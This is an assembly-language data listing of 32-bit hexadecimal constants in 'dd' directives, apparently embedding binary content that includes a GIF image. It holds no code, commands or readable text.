dd 84D86DBCh, 275C2Bh, 5C2EC2DCh, 0C5DC5DC1h, 5F404090h
dd 1409C10Ch, 40DC1388h, 12C61C09h, 0AC05081Ch, 0C0CC1437h
dd 64C0F463h, 3406C614h, 46946441h, 446B45Eh, 7C46C45Ch
dd 448A7644h, 0ABC49A88h, 0E8400778h, 87084F03h, 73C5906Ch
dd 5474C744h, 0C76475C7h, 6CC29C76h, 0D83EBFD8h, 0C5C093A6h
dd 6486B07Eh, 0D47CC6B8h, 0C7E47DC7h, 7E47F47Eh, 7FC0A4FEh
dd 0B064C054h, 0C4707E86h, 0B90ADC18h, 30798ACBh, 84803E84h
dd 6806305Ch, 0A4898670h, 0C8B48AC8h, 8CC8C48Bh, 0E48DC8D4h
dd 0C8F48EC8h, 90C9048Fh, 491C914h, 86306849h, 3E84485Ch
dd 0FC7A24D0h, 7A06282h, 8106D06Fh, 0A499C993h, 0C9B49AC9h
dd 9CC9C49Bh, 0D49DB78Ch, 6D38149h, 6287A06Fh, 0EA9E25C0h
dd 929A9F46h, 4E07C0B5h, 0B83283A0h, 6005604h, 0A8864063h
dd 0A4A9CA94h, 0CAB4AACAh, 630644ABh, 0E4ADCAD0h, 0CAF4AECAh
dd 0A84B04AFh, 24B1CAC4h, 0CB34B2CBh, 0B4CB44B3h, 4AD4ABCh
dd 84B85606h, 2B83A032h, 784547A2h, 874A5105h, 0BCCBC4BBh
dd 0E4BDCBD4h, 0CBF4BECBh, 0C0CC04BFh, 24C1CC14h, 0CC1CC2CCh
dd 0C4CC3090h, 7A51074Ch
dd 0C8404505h, 0F7419928h, 80AB46F8h, 83702C9Fh, 52049836h
dd 0E4CD8568h, 0CCF4CECCh, 0D0CD04CFh, 20574CDCh, 0CD34D2CDh
dd 0FECD44D3h, 574D54D4h, 74D6CD10h, 0CD84D7CDh, 0D9CD94D8h
dd 24D24D14h, 3684985h, 902B037h, 685E47A2h, 7286D02h
dd 754E1075h, 34E28760h, 0CE44E3CEh, 0E5CE54E4h, 74E5A44Ch
dd 4E54E7CEh, 0E9CE8244h, 94E4CEA4h, 4EC4EACEh, 754E1CECh
dd 686D0728h, 0CC785E02h, 0FB4C88E5h, 80AACC98h, 278361Dh
dd 4483E837h, 74F68458h, 0CF84F7CFh, 0F9CF94F8h, 0B4FACFA4h
dd 0CFC4FBCFh, 0FDCFD4FCh, 0D4FECFE4h, 3F044CFh, 36027837h
dd 0A0939E68h, 2F87687h, 7B07603Bh, 0C87C87C0h, 0D0807C07h
dd 9D09508h, 0B507508Dh, 0D0C50BD0h, 0D87E50Bh, 0F50ED0E5h
dd 50CD0ED0h, 1094CD07h, 0FD0BD125h, 0D1451287h, 15D15514h
dd 7516D165h, 87607B51h, 7682F83Ch, 2B4F1E70h, 0CA3B504Ah
dd 510780B8h, 410478h, 0D2051F83h, 1FD21520h, 352182BDh
dd 0D24523D2h, 25D25524h, 7526D265h, 528527D2h, 52FE2D27h
dd 47841528h, 41570510h, 9C928188h, 2E854059h, 52FD2F5h
dd 0D31530D3h, 32D32531h, 4533D335h, 0D35534D3h, 36D36535h
dd 5059D375h, 27085103h, 490D64A2h, 0B8B5350Ch, 3584B18h
dd 3ED3E031h, 153FD3F5h, 0D4002A03h, 42D42541h, 4543D435h
dd 0D45544D4h, 46D46545h, 6541545Dh, 84B035D4h, 9351A99Eh
dd 29A15138h, 82182182h, 0A954E1AAh, 54FD4D1h, 0D51550D5h
dd 52D52551h, 454ED535h, 9A6554D5h, 7E0689ABh, 0F4F19898h
dd 125D3B8Fh, 7287D07Ah, 3B1786E0h, 86B86AB0h, 5ED5E55Dh
dd 55FD5F5h, 0D61560D6h, 62D62561h, 4563D635h, 565564D6h
dd 356355Dh, 0D87286E3h, 957D4A87h, 6586D1EAh, 0B8638620h
dd 0D6D063D6h, 6ED6E56Dh, 64D6D5h, 0D71570D7h, 72D72571h
dd 2864D735h, 0D7557486h, 75576575h, 85778625h, 579578D7h
dd 7AD6F578h, 0C18556EDh, 0BB517ED7h, 981DFE7Dh, 7706D17Ch
dd 81AD8A60h, 0D59103D5h, 9B87A0B4h, 5584D842h, 18915B58h
dd 4C0B31D6h, 9588D859h, 14F589D8h, 81130956h, 2BECD1BDh
dd 0AB4925D8h, 8FD8F58Eh, 1061335h, 8F613ED9h, 8D907D81h
dd 5591B84Dh, 271595D9h, 3C596591h, 0A58CD929h, 92E59441h
dd 2CD9B59Ah, 0C90B5935h, 0D9E59BD1h, 9EC8559Eh, 0F9285A05h
dd 5A25A0D9h, 0A2DA1924h, 391EDA45h, 5A65A4DAh, 0A6DA5918h
dd 7913DA85h, 5AA5A8DAh, 0AADA990Dh, 0CD915AC5h, 0D9A10F59h
dd 95AF5ACh, 502D1201h, 7A07C82h, 0B3DAFD87h, 0A0781055h
dd 2507C87h, 0D6AB882Dh, 702D0388h, 0AA35B202h, 0BBDBB597h
dd 0D5BCDBC5h, 5BE5BDDBh, 0B5878D90h, 882D0275h, 38AE103h
dd 7E027032h, 45695B20h, 1025C5DBh, 7E07C961h, 18320270h
dd 838A1A5Ch, 750D8A4h, 0D5CC9F35h, 0DCE5CDDCh, 0CFDCF5CEh
dd 15D0DD05h, 0DD25D1DDh, 0DD35D2FEh, 0D4DD45D3h, 0DD071F0Dh
dd 5C98A0D0h, 275C35CAh, 0A0250A50h, 0DDB5DADDh, 0DCDDC5DBh
dd 0E5DDDDD5h, 0DDF5DEDDh, 0E0DE05DFh, 25E1DE15h, 0DE35E2DEh
dd 0E4DE45E3h, 65E5DE55h, 0DE75E6DEh, 0E8DE85E7h, 8DD95E05h
dd 5C25D7DCh, 0EC82D034h, 0E5EDDEA5h, 0DEF5EEDEh, 0F0DF05EFh
dd 25F1DF15h, 0DF35F2DFh, 0F4DF45F3h, 65F5DF55h, 0DF75F6DFh
dd 0F8DF85F7h, 0A5F9DF95h, 0DFB5FADFh, 0B75ECDF3h, 0E2E15EB5h
dd 5CADCA83h, 0E00034h, 2601E016h, 0E03602E0h, 4E04603h
dd 6605E056h, 0E07606E0h, 8E08607h, 0A609E096h, 0E0B60AE0h
dd 0CE0C60Bh, 0E60DE0D6h, 60660EE0h, 10DFE5FFh, 2611E116h
dd 0E13612E1h, 14E14613h, 6615E156h, 0E17616E1h, 18E18617h
dd 0A619E196h, 0E1B61AE1h, 1CE1C61Bh, 0E61DE1D6h, 0E1F61EE1h
dd 20E2061Fh, 2621E216h, 0E23622E2h, 24E24623h, 6625E256h
dd 397626E2h, 0E28627E2h, 29E29628h, 0B62AE2A6h, 0E2C62BE2h
dd 2DE2D62Ch, 0F62EE2E6h, 0E3062FE2h, 31E31630h, 3632E326h
dd 0E34633E3h, 35E35634h, 7636E366h, 0E38637E3h, 808A1E38h
dd 3B0000h, 38464947h, 21D6137h, 0E700A4h, 10000h, 401h
dd 7000805h, 0C08020Ah, 60E0B04h, 0E070F0Ch, 110F0910h
dd 0C12100Ah, 130E1412h, 1B150D15h, 0C1C160Fh, 1B0E1F1Ah
dd 221D0F20h, 14241F12h, 22152621h, 2C271927h, 1C312816h
dd 2C1A2E29h, 382E1D35h, 213A301Eh, 34223C32h, 4238273Eh
dd 24443B29h, 4021473Eh, 5144254Eh, 2B534627h, 4C2E574Ah
dd 5B4E2F5Ah, 37605334h, 57346355h, 6D5A366Ah, 35705D39h
dd 603D7362h, 76643773h, 3C786639h, 6B3E7B69h, 7E6C3F7Dh
dd 43806E41h, 72458270h, 8B744284h, 44867447h, 78468E76h
dd 89725F90h, 5A897459h, 7D4B8A75h, 8F7A5F94h, 6297804Eh
dd 8351927Dh, 9C84529Ah, 33958065h, 8654CA8Ah, 91816A9Eh
dd 5597806Dh, 826C9F87h, 677C9093h, 3FA18957h, 8758BC8Fh
dd 0A38B59CBh, 54B8913Eh, 8670AA8Ch, 97857697h, 54A58D5Bh
dd 8872A68Fh, 0DB8A5699h, 73AD8F58h, 92509A89h, 0AE9059AEh
dd 41DD8C58h, 9553FF91h, 0B2945DB1h, 7EB39755h, 8F789F8Dh
dd 0A79468A0h, 52FF9646h, 9957FE93h, 0B69A58B5h, 7BBC995Bh
dd 9C5BB093h, 0F69854B9h, 78A6957Eh, 9E5DA797h, 0A7967FBAh
dd 5EA89586h, 9A59BC9Fh, 0A99881FFh, 60FF9E50h, 9C5BBEA1h
dd 0AA9982FFh, 69C8997Ch, 9C66E89Ch, 0BAA270FCh, 8DFFA160h
dd 9D91AF9Ch, 0D7A27FAAh, 97FEA46Dh, 0A965B0A2h, 0FFA76FFFh
dd 66C9A97Bh, 0AA70FFAAh, 0B3A69AFDh, 75C1AF7Ah, 0ADA1FFAEh
dd 0CDAD9EBAh, 98FFB280h, 0AEA3CEB0h, 0B7AFA7C8h, 6FDCB392h
dd 0B78FFEBAh, 0DDB493C5h, 8BDEB594h, 0B3A8FEB5h, 0FFB984C1h
dd 96FEBC8Eh, 0BBB2FEBAh, 0FFBF91C3h, 0B6C5BCB4h, 0C1A5C7BFh
dd 0FEC29AE6h, 0A2FFC49Dh, 0C6A4F7C7h, 0F7C6A9FDh, 0BECDC5BDh
dd 0C7BFCFC6h, 0FFCAA8D0h, 0ADFDCE9Fh, 0CDA7FCCAh, 0D2CAC1FDh
dd 0A9FECCB0h, 0CFB2FFCFh, 0FCD0B8FFh, 0BAD8D0C8h, 0D5B4FFD2h
dd 0FFD6B6FFh, 0C2DDD5CCh, 0D8BCFCD5h, 0F8DBBAFDh, 0CFFFDCB7h
dd 0DAC2E0D8h, 0DBD9D4F9h, 0D2FFDAC6h, 0DACBE2DAh, 0E4DBD3FCh
dd 0C6E5DCD4h, 0DDD8FDDEh, 0F9E1C5E0h, 0DAE8DFD7h, 0E3C7E2DFh
dd 0E3E0DBFBh, 0D8FBE2CEh, 0E2D9E9E1h, 0F8E3D4EAh, 0CBE5E3DDh
dd 0E4DFFFE7h, 0FAE7CFE6h, 0D6FAE4DCh, 0E5E0FAE6h, 0FBE7D7E8h
dd 0EAE9E6E1h, 0E5E1E3E4h, 0DDE4EDF5h, 0E2F0E7DFh, 0E6E2EAE7h
dd 0F6E8DCF6h, 0E3EBE8E3h, 0E9E4F7E7h, 0F8E8E4ECh, 0E0EDEAE5h
dd 0ECE6FAECh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h, 0F2EFEAF7h
dd 0E4F3F0EBh, 0F3DFFFF1h, 0FAF1E9FFh, 0EDF4F1ECh, 0F1F0F5F2h
dd 0F6F3EEFBh, 0F1F7F5EFh, 0F6F9F9F7h, 0FBF8F3FBh, 0F7FCF9F4h
dd 0F8FAF6F9h, 0FDFAF5FCh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h
dd 0FBFFFDF7h, 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh
dd 2CFCh, 21D0000h, 80000A4h, 87F00FEh, 20B0481Ch, 9C3F2741h
dd 0B0C2C138h, 5C8643A1h, 489C4A22h, 8B996231h, 0DC6A3318h
dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5162730Fh, 0CFA0D098h
dd 2A79039Fh, 61B0A85Ch, 905C8851h, 512A5CDEh, 50A7D3A6h
dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30CA5C8h, 1A915FAFh
dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
dd 0BF7DC3E1h, 91B3949Eh, 8E395631h, 38C6469Dh, 0BDE42AB9h
dd 0D1972B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E58B0E2h
dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
dd 341CA028h, 806060h, 3406408h, 10043180h, 18016DC3h
dd 116D8257h, 85E1680Eh, 21A86618h, 704C2C7Fh, 6C6E18C3h
dd 2A034311h, 681C7FCh, 5C68401Ch, 0B8B19085h, 0C6308BE1h
dd 0C98CE328h, 6DC57029h, 0DFE0203Fh, 71540719h, 0AE1419C0h
dd 448D2418h, 91E46916h, 43D00A03h, 20360E6Fh, 0C8360440h
dd 0B604C3F1h, 240F125h, 44C1CA37h, 56405200h, 0A1900245h
dd 40080F0h, 1CA5D068h, 8060CC01h, 0D59004h, 0CC0F0081h
dd 180C9BA0h, 0C8181C8h, 26E1CA43h, 0A8B6729Ch, 40104A6h
dd 488BA15Ah, 0A1E86A16h, 2B79E88h, 91B83102h, 0C404005Bh
dd 90D86B0h, 1301192Ch, 8220A5B5h, 51CA7806h, 40260182h
dd 72068316h, 1241509Ch, 0C221606Eh, 30722D05h, 72FE0FC6h
dd 0D0080ECh, 0C090DC6Bh, 0C071B90Eh, 742B1C82h, 0B4ACA430h
dd 9A2B8ADAh, 22EAC2AEh, 0AB2689A1h, 0F6CCB2ECh, 90102D6h
dd 0D82A078h, 4298B64Bh, 206C2D6Dh, 42130A47h, 250DC186h
dd 3990090h, 99003830h, 6036A108h, 8676D44h, 90AC22D0h
dd 6D42D069h, 0DB7A902Fh, 216C061Ah, 0AC061607h, 0F2855B51h
dd 6F6BD2h, 6799A2F0h, 0AC2708B3h, 0EC6BA170h, 70842C0h
dd 8B42E004h, 85B1CA59h, 445D8Eh, 4C0819D9h, 1A0F6ACAh
dd 5A4B03Fh, 86464037h, 0F08C340Dh, 4240A0C0h, 0B5174076h
dd 6E007175h, 1B505433h, 2C1A7D05h, 0CF31CBC7h, 3ACB668Ch
dd 0D0F0B8B7h, 231D1744h, 0D03C2619h, 0B990A3A2h, 0B006E151h
dd 176A40D6h, 0C211C806h, 0E0829E09h, 0C4640186h, 1D04006Ah
dd 0A0C3F0A0h, 282A0A14h, 1D981D6Eh, 0A342AF80h, 0FFD936A9h
dd 0DCF46C1Eh, 5F9DD774h, 0CC28317h, 0A16FE19h, 8034640h
dd 0ABB07872h, 5026EA1Ch, 0FC069685h, 0F1CB4A0h, 0DC3310C0h
dd 0B7A02990h, 801C6B6Eh, 1C576D45h, 92CEAFE0h, 0B2307A3Fh
dd 0FA2E8776h, 501DE0E8h, 2C636430h, 0B50BC01Eh, 0D341E0A9h
dd 4010EC0Dh, 40781C96h, 68136D41h, 0B5CFFAF0h, 1CB900C1h
dd 0D90C4C1Ch, 46DC100Fh, 61B5BD83h, 0C1CEA0B0h, 0DB7C46D7h
dd 0FA4D07D0h, 4F57D4F4h, 0A80B0A5Ch, 671AC550h, 0D41B0F4h
dd 0C370222Dh, 902C351Ah, 28236D44h, 19871A0h, 0AFEC894h
dd 42205590h, 10B86317h, 243DF471h, 120FEB40h, 79B5F08h
dd 0C0DB20Fh, 0FCA15776h, 0D17FAFEDh, 0A210C033h, 3A06BD60h
dd 0C3C681F0h, 60040200h, 0B0C0C00h, 4048264Dh, 0BA702C00h
dd 5C400424h, 81D990h, 857726h, 170A2B54h, 2A008010h, 11DF8330h
dd 0B80B4DE8h, 0E0D66D96h, 66D5CD80h, 17F00D0Dh, 4300688Bh
dd 4EF4A19h, 1E8C2AFEh, 0C4488704h, 320E81EAh, 115D3C1Eh
dd 26C4C897h, 6788E7EEh, 9C07C130h, 5A2AC548h, 5C473E11h
dd 0C8AED021h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h, 8CF19A32h
dd 1AA34C68h, 0AF15E3C9h, 708DE764h, 0E71CA38Ch, 0DA3AC748h
dd 0CC788EF1h, 0C8F71EA3h, 0A7623EC7h, 0CAF1D58Dh, 0C8428059h
dd 90F21A42h, 22A44C88h, 46C8C917h, 9091F23Ah, 2724A48Ch
dd 5A4AC949h, 0CC9892F2h, 391526A4h, 0A744AE94h, 4818580Ch
dd 0CA49460Fh, 94F29A52h, 2AA54CA8h, 56CAC957h, 0B095F2BAh
dd 672CA58Ch, 0DA5ACB49h, 0CCB896F2h, 0C9772EA5h, 0F2FA5ECBh
dd 0E584C097h, 9C80B040h, 7E578E4h, 3E47E0FCh, 668F61F2h
dd 0D099F33Ah, 0A734A68Ch, 5A6ACD49h, 0CCD89AF3h, 0C9B736A6h
dd 0F37A6ECDh, 0A70CE09Bh, 0CE49C738h, 9CF39A72h, 3AA74CE8h
dd 64CCB9B1h, 0C693C0FEh, 0E932A50Ch, 0D8788F41h, 0FEF89EF3h
dd 0F73EA7CCh, 0FA7ECFC9h, 0D009FF3h, 4A0740A8h, 0F41A82D0h
dd 0A84D08A0h, 0D0CA1742h, 0A1F43A86h, 44A88D10h, 7A501A27h
dd 3F1F83E6h, 0CA72A620h, 0D47C9080h, 0D201E13h, 4A4748A9h
dd 0F49A92D2h, 0A94D28A4h, 0D2CA574Ah, 0A5F4BA96h, 4CA98D30h
dd 9AD34A67h, 38A6F4DAh, 774EA9CDh, 0B69ED3CAh, 0C8F41E34h
dd 598A4247h, 0A1382E1Ch, 7851E07h, 0D4CA9745h, 0A9F53AA6h
dd 54AA8D50h, 0AAD54AA7h, 0F0A0B55Ah, 9C0F6A08h, 70E505C0h
dd 0B03D07E1h, 7A943C47h, 0F59AB2D5h, 0AB4D68ACh, 0D6CAD75Ah
dd 0A9540EB6h, 3BC1E8F6h, 0B1560ABDh, 78ADD592h, 0F75EABCDh
dd 0FABED7CAh, 9570AA75h, 0F393576Bh, 0F58EB0D5h, 0AC4D88AFh
dd 0D8CB1762h, 0B035A2C6h, 5D6C2573h, 0CAD8EB0Fh, 98B2F65Ah
dd 21666CCDh, 14E3583Bh, 0D9AAED6h, 4B4768ADh, 954AD2DAh
dd 0EC3574B3h, 0DACB4D5Dh, 0B5F6BAD6h, 6CFE3DB0h, 0D9EB235Ch
dd 0B636AEC9h, 6EADCDB8h, 0D4579B77h, 0BCB5564Ah, 8770AE0Dh
dd 0FAA75C4Bh, 2DC0B6B6h, 0CB9772AEh, 0F3FAE6DCh, 0ADB545B8h
dd 0DD4BA773h, 0BA16F2EAh, 652CF9C4h, 0EEDDCBADh, 0F1B3777Ah
dd 0A3676D98h, 9AEFDC9Bh, 0DDE8BCF7h, 0A383762Bh, 0F7A6DBDDh
dd 0EF8DF0BDh, 0D82BC369h, 0BE5682D4h, 7EAFCDF8h, 0E05EBA21h
dd 0BF77B4h, 380B00Eh, 0FCDFDFDAh, 4E08C077h, 0EC0B80B0h
dd 0F82B039Bh, 2F7E10C1h, 0E0E37B83h, 0C2F85B08h, 6EB09DD5h
dd 0EE18C2Ah, 1AB8787Bh, 3F870DCEh, 0BF12E24Ch, 19B8C436h
dd 0CC5789B1h, 0F8A2CD62h, 67EE2A36h, 366B5A00h, 0C6D8CE7Dh
dd 8DDB7D0Dh, 836359F1h, 12C7F8DEh, 856631DDh, 0B72250ECh
dd 0B62FA978h, 39F78C4Dh, 566B2363h, 0B22646C8h, 0E51A0F93h
dd 0C78A067Bh, 96720509h, 29D52C99h, 5CCBD3FFh, 8F982B3Eh
dd 0D724CFCCh, 1E38C966h, 0A165FE73h, 0A878E61Ch, 0B655A079h
dd 2C7D9C67h, 0F93A8567h, 73C50FCDh, 66ECF53Eh, 0CC99F2B4h
dd 6FEFADB2h, 26D01BEFh, 6ECAF963h, 0B18E1416h, 0F744689Ch
dd 7675CAD9h, 5D1595B4h, 19F74867h, 0F45E3DD1h, 0E8DD2D9Eh
dd 0D2F9B31Dh, 9BF45E52h, 4AE91D3Fh, 72D29957h, 23A674A6h
dd 4355E92Dh, 0FE4DD51Ah, 0DD67AAB1h, 0BACB5A6Ah, 31B686D6h
dd 0E8FD1BAAh, 0D63A5B4Eh, 0AEB5B650h, 4AEC0D1Dh, 0A6D19A4Fh
dd 53A27586h, 9AE6692Dh, 46683219h, 8D3DA7B6h, 0FA97636Ch
dd 0B66E8CD7h, 6C9CB5B5h, 0DBDAF74Eh, 0B636A69Bh, 51677D7Fh
dd 0E8D5FA17h, 0C594747Eh, 0B33BE9FDh, 26A9DABBh, 0DDB9B7B7h
dd 0DBCF6CEEh, 77AEDAD8h, 65ADBFBCh, 0DADB6F62h, 0B5F65EF7h
dd 5CF03D8Fh, 0CEDFFB77h, 0A21CB67Dh, 237169CDh, 0D708DA5Ch
dd 0CDABA6B7h, 0DA6F7E6Dh, 0B756A49Fh, 36FC99BDh, 0DAF8CB70h
dd 0C5B806FDh, 0EE5E47FEh, 0E25C8B71h, 0C9780F24h, 8BF1EE53h
dd 28DC7C67h, 35CAF96Fh, 87906A6Eh, 867FE339h, 0FE19C2ADh
dd 7B339A6Dh, 0F88EF8D7h, 0F17E39C6h, 0D57A4F9Ah, 0D0B9C66Ah
dd 8C713CDBh, 73E69CDBh, 55D4B9F6h, 5789B6AEh, 0EF1DE25Ch
dd 3EABBE39h, 9D5F61F2h, 787EAAC7h, 0F63CA7B3h, 0EAFC87A1h
dd 0D03A3F61h, 0E973BB95h, 0FC75402h, 0A5C3B8FFh, 2FA2715Eh
dd 2F2DE45Dh, 0DE8DCB3Ah, 3DCB7874h, 0FBD721DDh, 77BEB5D7h
dd 0EB1CA27Eh
dd 0D3386F4Ch, 5EF83E57h, 0FEE01E07h, 0A9DCF196h, 3B74F94Dh
dd 6DD4EE3Eh, 3E9D797Bh, 5B87C274h, 78FF9DE5h, 749CBDE1h
dd 0EF5DDF8Ah, 0E0353F7Dh, 937A0EF9h, 0ADF3DE9Bh, 15CCFBBFh
dd 8FDAF56Fh, 2F25F59Eh, 0CE0DD77Dh, 7E63BA7Bh, 0B4279ABAh
dd 701F3FE8h, 0D31DEFE2h, 0E37B3786h, 0D8FC9F61h, 7BF13F23h
dd 0DFBCF97Eh, 0E3C3F5ADh, 0C7D2F23Dh, 0FE27EBFEh, 6BE57B2Fh
dd 9F02F9FAh, 4F4FEE36h, 0DCE3C575h, 0BAEFE0E1h, 5B4BE9B3h
dd 0F9BF0AF2h, 0F0F9FFC6h, 0A9F47FE5h, 53D71D83h, 0D5EEB577h
dd 0E3FB7F7Eh, 6DAFA3Dh, 7517D46Eh, 656C46D3h, 0C6AE6BB7h
dd 6BE7736Ah, 0E7F46CCh, 0E7F56C28h, 6577BC6Eh, 0D2750805h
dd 0A6F96B06h, 6A17406Ch, 90814714h, 15CB8087h, 5505DB7Ch
dd 41680739h, 58255A16h, 6167F364h, 4D5EE822h, 98268295h
dd 7D259667h, 1E7A4551h, 83582D6h, 82A83183h, 5D76B833h
dd 861D7766h, 84383B83h, 4256D844h, 98488458h, 84755684h
dd 4E84D84Ah, 0F84C54C8h, 85385284h, 5485150Ch, 28588578h
dd 85985650h, 0F885D85Ch, 185E85B4h, 86085886h, 4F865862h
dd 98668648h, 86884886h, 3186D86Ah, 186E86C8h, 87062D87h
dd 24875872h, 98768746h, 87861787h, 0A87D87Ah, 187E87C6h
dd 88060188h, 0F8885882h, 86FE8845h, 85E98898h, 88D88A88h
dd 8E88C5DEh, 0C7998918h, 5D95E37Eh, 9889276Eh, 98905F18h
dd 62089C89h, 235F6894h, 0C8A289D8h, 8A389B5Dh, 9F73A8A6h
dd 78A16838h, 76C8AC8Ah, 0EF5C88A9h, 28B28AD7h, 8B38A55Ch
dd 0B55988B6h, 0D8BA8B78h, 8BB8B958h, 0BD5888BEh, 0A8C28BF8h
dd 7EE8AF5Eh, 0C88C38ABh, 68C58B88h, 8C979B89h, 0C15968CEh
dd 58D28CF8h, 8D38D156h, 0CB5808D6h, 78975EC8h, 57D8DC8Dh
dd 0E08DD8D5h, 18DF5148h, 50F8E48Eh, 0E88E58E3h, 98E750A8h
dd 8ED53E50h, 0F08EF8EEh, 156F5358h, 8F58F48Fh, 7A8F48F6h
dd 65588EB5h, 8FD0FF4Fh, 8FF8FEh, 39029019h, 90590490h
dd 8907906h, 0B90A9099h, 90D90C90h, 1F8FD90Eh, 0C4F65CF5h
dd 91590F0Fh, 18917916h, 0B91A9199h, 0FC8FD91h, 0FA56E911h
dd 60F45058h, 0CB0DB0Fh, 0CB9260C9h, 0B92A9290h, 92A92C92h
dd 3092F0C9h, 3293FE19h, 59349339h, 93793693h, 2C93992Dh
dd 0D93C9379h, 93F93E93h, 4293A93Eh, 0F0CB9289h, 91E0DF0Ch
dd 0E14F4500h, 0D0CF0D10h, 94F0D194h, 50951950h, 40D10D29h
dd 95595695h, 5A957958h, 0B95C9599h, 95D95E95h, 6295F960h
dd 39649619h, 96596696h, 67967968h, 296C9529h, 0E10D695h
dd 784F50F8h, 75049215h, 7B0F90Fh, 7A03A03Ch, 0D97C97B9h
dd 97F97E97h, 82981980h, 59849839h, 98798698h, 8A989988h
dd 0B03C9899h, 0F70F907h, 0F64FD562h, 0F0879900h, 99705305h
dd 9A999998h, 0C0480539h, 99D99E99h, 0A299F9A0h, 39A49A19h
dd 9A59A69Ah, 0AA9A79A8h, 0B9AC9A99h, 9AD9AE9Ah, 0B29AF9B0h
dd 89B499B9h, 8705F99h, 739760F7h, 0B5FE8D99h, 0F25578Dh
dd 0A106D099h, 59C40A80h, 9C79C69Ch, 0CA9C99C8h, 0D9CC9CB9h
dd 9CF9CE9Ch, 0D29D19D0h, 59D49D39h, 6D0A19Dh, 2E0F2099h
dd 0F35638FEh, 0B08A0970h, 8D09109h, 0E40909E2h, 59E69E59h
dd 9008B9Eh, 8D08B9E9h, 0F9ED0880h, 9F19EE9Eh, 0EA9ED9F0h
dd 69EB9F59h, 9F79F89Fh, 0FC9F99FAh, 0D9FE9FB9h, 9FFA009Fh
dd 4A01A02h, 8A06A03Ah, 0A099E79Fh, 8D9E29E4h, 0F09B0910h
dd 0F509708h, 745669DBh, 0FA5029h, 0E407B05h, 1C4EB0FFh
dd 0FA1EA1DAh, 0FF4DDA1h, 5007B0E4h, 44FC9710h, 660F70Fh
dd 0AF0AA07Ch, 0AF0B30h, 0A31A300Bh, 34A33A32h, 7A36A35Ah
dd 0A39A38A3h, 3CA3BA3Ah, 0FA3EA3DAh, 0A3BA40A3h, 0AA0AFA2Fh
dd 706A0810h, 56C9720Fh, 0EA501A15h, 10FF0410h, 0A510DB97h
dd 54A53A52h, 7A56A55Ah, 0A59A58A5h, 5CA5BA5Ah, 0FA5EA5DAh
dd 0A61A60A5h, 0F80F4A60h, 0A0410FF0h, 4FC0FA0Eh, 750EC0FAh
dd 20A70AB0h, 0B90BE0Bh, 740BB0BEh, 7A76A75Ah, 0A79A78A7h
dd 7CA7BA7Ah, 0FA7EA7DAh, 0A81A80A7h, 0FEA83A82h, 71A7DA84h
dd 70B20BEAh, 780AB0Ah, 46A690ECh, 0E6069BC8h, 845569Bh
dd 0DF9930B1h, 90DD0DB0h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh
dd 0AA3AA2AAh, 0A6AA5AA4h, 9AA8AA7Ah, 0DBAA6AAh, 0B19900DFh
dd 0AA8E0840h, 930FA4Fh, 0B50A60A0h, 60CA0CA0h, 0ABBABA0Eh
dd 0BEABDABCh, 1AC0ABFAh, 0AC3AC2ACh, 0C6AC5AC4h, 9AC8AC7Ah
dd 0AC7ACAACh, 0B50CA0E2h, 309E0A40h, 56BAB109h, 53500A4Bh
dd 80F20E10h, 0E40E10Fh, 0DEADDADCh, 1AE0ADFAh, 0AE3AE2AEh
dd 0E6AE5AE4h, 9AE8AE7Ah, 0AEBAEAAEh, 70AEBAECh, 30E10F29h
dd 4F8AD305h, 0AB07A0F9h, 80E70AC0h, 0ED0E30Eh, 0FEAFDAFCh
dd 1B00AFFAh, 0B03B02B0h, 6B05B04h, 9B08B07Bh, 0B0BB0AB0h
dd 0E8B09B0Ch, 0C0E70E80h, 7A0AB0Ah, 0D5569AF3h, 0D0454FFAh
dd 0FF0F20Dh, 1EB1D8F7h, 0F532B1FBh, 0DD0F20Fh, 0F6B15045h
dd 90740F94h, 0FF0B30Ah, 0FFE00EFh, 30B2F0EEh, 3B32B31Bh
dd 0B35B34B3h, 38B37B36h, 0BB3AB39Bh, 0B3DB3CB3h, 3DB3FB3Eh
dd 30FF0EFBh, 740AB0Bh, 17567B26h, 0F0444FEBh, 91C0F00Dh
dd 50B4FB4Eh, 4B52B51Bh, 0DF0F090h, 0F7B47044h, 20A40690h
dd 0B5DB530Bh, 60B5FB5Eh, 90B9907Bh, 0B470690Ah, 0DA90A14h
dd 4555A926h, 0A650E404h, 2001906h, 7B61B709h, 0B73B7290h
dd 75915B76h, 40F8905Bh, 4FCB570Eh, 9F0690F6h, 990CB5C0h
dd 0B848FDB7h, 4FB86B77h, 2904281Bh, 91BB88B7h, 0B2918B8Dh
dd 0B6509F0h, 614B6892h, 47554B6Ah, 70FF0DF0h, 5285630Fh
dd 9F523001h, 1521B20Bh, 535BA2BAh, 0A752EBA4h, 4BA952ABh
dd 0F70F152h, 470DF0FFh, 0C0F4B470h, 0AE09C06h, 0A9BA8B9Ch
dd 0A8F7BABBh, 0BBC53ABBh, 0BE520BA3h, 0D527BA5Bh, 9D0AFBAh
dd 0D4B6606Ch, 761BB958h, 0F6552B9h, 1C0CF047h, 30E10E9Bh
dd 0BD5BD4BDh, 1BFED3h, 0D6BD8BD4h, 0DBDCBDBBh, 0BDFBDEBDh
dd 0E0BDABD5h, 5BE4BE3Bh, 0BE1BE6BEh, 0E7BD9BE7h, 9BDDBE2Bh
dd 0CFB4D0Eh, 6CA27BB1h, 0AB0960h, 0E30E90Fh, 0FABF9BF8h
